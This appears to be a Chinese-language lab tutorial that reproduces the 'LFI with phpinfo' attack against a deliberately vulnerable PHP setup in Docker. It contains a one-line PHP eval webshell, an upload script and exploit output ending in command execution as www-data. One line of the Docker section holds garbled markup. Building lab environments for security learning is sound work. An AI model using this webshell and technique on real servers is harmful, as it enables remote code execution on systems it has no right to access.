PHP本地文件包含漏洞环境搭建与利用
0x00 简介
php本地文件包含漏洞相关知识，乌云上早有相应的文章，lfi with phpinfo最早由国外大牛提出，可参考下面两篇文章。利用的原理是利用php post上传文件产生临时文件，phpinfo()读临时文件的路径和名字，本地包含漏洞生成1句话后门。
此方式在本地测试成功，为了方便大家学习，减小学习成本，已构建docker环境，轻松测试。将构建好的docker放在国外VPS上，使用github项目 lfi_phpinfo中poc文件夹下的脚本，本地运行，依然可以getshell。说明这种方式是可行的，对网络要求不是很高。
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Docker Hub 镜像地址: janes/lfi_phpinfo
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github 项目地址: lfi_phpinfo
源码存放在 code目录下， 可使用docker再现，poc目录下存放利用脚本
paper:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf
0x01 php 上传
向服务器上任意php文件 post请求上传文件时，都会生成临时文件，可以直接在phpinfo页面找到临时文件的路径及名字。
- post上传文件
php post方式上传任意文件，服务器都会创建临时文件来保存文件内容。
在HTTP协议中为了方便进行文件传输，规定了一种基于表单的 HTML文件传输方法
其中要确保上传表单的属性是 enctype=”multipart/form-data，必须用POST 参见: php file-upload.post-method
其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下：
- 请求到达
- 创建临时文件，并写入上传文件的内容
- 调用相应PHP脚本进行处理，如校验名称、大小等
- 删除临时文件
PHP引擎会首先将文件内容保存到临时文件，然后进行相应的操作。临时文件的名称是 php+随机字符 。
- $_FILES信息，包括临时文件路径、名称
在PHP中，有超全局变量$_FILES,保存上传文件的信息，包括文件名、类型、临时文件名、错误代号、大小
0x02 手工测试phpinfo()获取临时文件路径
- html表单
文件 upload.html
#!html<!doctype html><html><body> <form action="phpinfo.php" method="POST" enctype="multipart/form-data"> <h3 id="Test-upload-tmp-file"> Test upload tmp file</h3> <label for="file">Filename:</label> <input type="file" name="file"/><br/> <input type="submit" name="submit" value="Submit" /></form></body></html>
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浏览器访问 upload.html, 上传文件 file.txt
#!php<?phpeval($_REQUEST["cmd"]);?>
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burp 查看POST 信息如下
#!bashPOST /LFI_phpinfo/phpinfo.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/LFI_phpinfo/upload.htmlConnection: closeContent-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112Content-Length: 368-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="file"; filename="file.txt"Content-Type: text/plain<?phpeval($_REQUEST["cmd"]);?>-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="submit"Submit-----------------------------11008921013555437861019615112--
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浏览器访问，phpinfo 返回如下信息：
#!php_REQUEST["submit"] Submit_POST["submit"] Submit_FILES["file"] Array ( [name] => file.txt [type] => text/plain [tmp_name] => /tmp/phpufdCHh [error] => 0 [size] => 33 )
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得到tmp_name 路径
0x03 python脚本 upload file
#!pythonimport requestshost = '127.0.0.1'url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)file_ = '/var/www/LFI_phpinfo/file.txt'response = requests.post(url, files={"name": open(file_, 'rb')})print(response.text)-
部分返回结果
#!php<tr><td class="e">_FILES["name"]</td><td class="v"><pre class="brush:php;toolbar:false">Array( [name] => file.txt [type] => [tmp_name] => /tmp/php7EvBv3 [error] => 0 [size] => 33)
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0x04 本地搭建环境
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get shell
#!bash$ python lfi_phpinfo.py 127.0.0.1LFI with phpinfo()==============================INFO:__main__:Getting initial offset ...INFO:__main__:found [tmp_name] at 67801INFO:__main__:Got it! Shell created in /tmp/gINFO:__main__:Wowo! \m/INFO:__main__:Shutting down...
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firefox 访问
#!bashhttp://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=iduid=33(www-data) gid=33(www-data) groups=33(www-data)
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说明getshell成功，之后就可以自由发挥了～～
0x05 使用 docker 构建环境
docker的基本用法，这里就不阐述了，可自行google。这里提供了两种构建镜像源的方式，使用github lfi_phpinfo中Dockerfile自行构建，或使用我已经构建好的镜像 janes/lfi_phpinfo
- 镜像源
-- [php 1="官方源" 2="2="2="2="2="language=":5.6-apache"""""\"][/php] /php 5
或
-- janes/lfi_phpinfo
- 构建环境运行测试
获取 github lfi_phpinfo的源码，切换到web目录下，开始构建环境进行测试。这里提供三种方式运行
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方式1 使用php官方源运行测试
#!bashdocker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
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方式2 使用构建好的镜像 janes/lfi_phpinfo运行测试
#!bashdocker pull "janes/lfi_phpinfo"docker run --rm -p "80:80" janes/lfi_phpinfo
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方式3 使用docker-compose
#!bash docker-compose up
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接下来就可以使用python脚本 getshell 了
#!bashpython lfi_phpinfo.py docker_host_ip
0x06 结束语
动手实践 LFI with PHPInfo利用的过程，其实并不像看文章过程那样顺利，期间多多少少会碰见一些与环境有关的问题，而解决这些问题会耗费精力，这正是催生我用docker来构建测试环境想法的来源，希望能给网络安全的热爱者们提供更方便的学习环境。最后感谢[LFI with PHPInfo本地测试过程]文章的作者，给我研究LFI with phpinfo提供了不少帮助。
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